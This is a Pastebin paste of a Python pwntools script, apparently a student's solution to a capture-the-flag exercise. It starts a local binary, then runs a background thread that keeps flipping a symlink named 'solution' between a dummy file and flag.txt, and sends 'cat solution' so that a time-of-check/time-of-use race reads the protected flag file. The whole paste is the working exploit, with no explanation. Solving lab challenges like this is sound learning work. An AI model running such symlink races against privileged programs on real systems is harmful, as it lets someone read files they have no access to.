Advertisement
xosski

Ctf exploit.py

Dec 13th, 2024
16
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.89 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. from pwn import *
  4. import os
  5. import threading
  6. import time
  7.  
  8. exe = context.binary = ELF(args.EXE or './main.elf')
  9. context(terminal=['tmux', 'split-window', '-h'])
  10.  
  11. def start(argv=[], *a, **kw):
  12. if args.GDB:
  13. return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
  14. else:
  15. return process([exe.path] + argv, *a, **kw)
  16.  
  17. gdbscript = '''
  18. tbreak main
  19. continue
  20. '''
  21.  
  22. io = start()
  23.  
  24. # Student Code Area
  25. ########################################################################
  26. # begin student code
  27.  
  28. def create_symlink(target, link_name):
  29. '''Creates a symbolic link.'''
  30. try:
  31. if os.path.exists(link_name):
  32. os.unlink(link_name)
  33. os.symlink(target, link_name)
  34. except Exception as e:
  35. print(f"Error creating symlink: {e}")
  36.  
  37. def race_condition(stop_event):
  38. '''Perform the race condition by toggling the symlink.'''
  39. while not stop_event.is_set():
  40. create_symlink("dummy", "solution")
  41. time.sleep(0.001) # Adjust timing as needed
  42. create_symlink("flag.txt", "solution")
  43.  
  44. # Create a dummy file
  45. with open("dummy", "w") as f:
  46. f.write("This is a dummy file.")
  47.  
  48. # Event to control the race condition thread
  49. stop_event = threading.Event()
  50. race_thread = threading.Thread(target=race_condition, args=(stop_event,))
  51. race_thread.daemon = True
  52. race_thread.start()
  53.  
  54. # Provide the input command to the binary
  55. # Pass the entire command as if it's entered interactively
  56. io.sendline(b"cat solution") # Ensure the input is in bytes
  57.  
  58. # Capture all output and search for the flag
  59. output = io.recvall(timeout=10).decode()
  60. print(f"Program output:\n{output}")
  61.  
  62. # Stop the race condition thread gracefully
  63. stop_event.set()
  64. race_thread.join()
  65.  
  66. # end student code
  67. ########################################################################
  68.  
  69. io.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement